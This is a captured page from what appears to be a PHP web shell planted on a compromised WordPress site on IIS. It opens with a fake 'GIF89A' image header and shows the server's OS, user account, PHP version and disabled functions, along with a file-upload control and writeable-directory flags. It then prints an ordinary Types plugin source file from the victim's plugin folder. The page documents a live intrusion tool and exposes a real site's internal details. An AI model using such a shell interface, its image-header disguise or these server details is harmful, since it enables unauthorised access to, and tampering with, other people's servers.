GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/condition/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/condition/layouts/compatible.php
<?php

/**
 * Types_Helper_Condition_Layouts_Compatible
 *
 * @since 2.0
 */
class Types_Helper_Condition_Layouts_Compatible extends Types_Helper_Condition_Template {

	public function __construct() {
		$cpt = Types_Helper_Condition::get_post_type();

		$this->templates = array(
			'single-' . $cpt->name . '.php',
			'archive-' . $cpt->name . '.php',
			'single.php',
			'archive.php',
			'index.php'
		);
	}

	public function valid() {
		// theme + theme integration running
		if ( defined( 'LAYOUTS_INTEGRATION_THEME_NAME' ) ) {
			return true;
		}

		$filesystem = new Toolset_Filesystem_File();
		foreach ( $this->templates as $name => $file ) {
			// file exists
			if ( $filesystem->open( get_template_directory() . '/' . $file )
			     || $filesystem->open( get_stylesheet_directory() . '/' . $file )
			) {
				// supports layouts
				if ( $filesystem->search( 'the_ddlayout' ) ) {
					return true;
				}

				// if for example single.php exists and it does not support Layouts we don't need to look at index.php
				return false;
			}
		}

		// no file exists
		return false;
	}

}

Anon7 - 2021